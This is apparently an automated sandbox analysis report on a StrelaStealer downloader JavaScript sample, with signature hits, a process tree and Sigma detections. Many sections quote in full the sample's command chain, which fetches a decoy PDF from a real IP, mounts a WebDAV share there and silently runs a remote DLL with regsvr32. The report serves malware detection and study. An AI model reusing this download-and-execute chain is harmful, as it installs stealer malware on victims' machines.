Edit tour

Windows Analysis Report
5949401323954377.js

Overview

General Information

Sample name:	5949401323954377.js
Analysis ID:	1588513
MD5:	9bf6f51d9ef37ed8d24fa54962acb218
SHA1:	68007158923bf0c530a55ea28b0c6ec2db7308e1
SHA256:	f8e1365db1b8031d6788aa3b0b9697b63c49f2ef095e42a4b71fc75e5a98fe3a
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7456 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5949401323954377.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7708 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7764 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 4828 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4620 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7484 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2192 --field-trial-handle=1576,i,11404387406166749889,7821596643881052678,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7212 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6672 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 660 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7456	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7708, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7764, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7708, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7764, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5949401323954377.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5949401323954377.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5949401323954377.js", ProcessId: 7456, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5949401323954377.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, ProcessId: 7708, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5949401323954377.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, ProcessId: 7708, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5949401323954377.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, ProcessId: 7708, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5949401323954377.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, ProcessId: 7708, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5949401323954377.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, ProcessId: 7708, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5949401323954377.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5949401323954377.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5949401323954377.js", ProcessId: 7456, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7708, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7764, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7212, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6672, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 660, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7212, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6672, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5949401323954377.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, ProcessId: 7708, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 5949401323954377.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 5949401323954377.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000001.00000002.1270230542.000001AD14325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000D.00000002.1348902368.0000021C82B57000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1348902368.0000021C82B28000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1348902368.0000021C82B81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000D.00000002.1348902368.0000021C82B57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888//
Source: net.exe, 0000000D.00000002.1348902368.0000021C82B57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/;
Source: svchost.exe, 0000000F.00000002.2548977755.0000019D4908D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.14.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.15.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.14.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 0000000F.00000003.1328727919.0000019D48F80000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.11.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7456, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 5949401323954377.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/61@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7720:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2v4assy2.ci1.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5949401323954377.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll
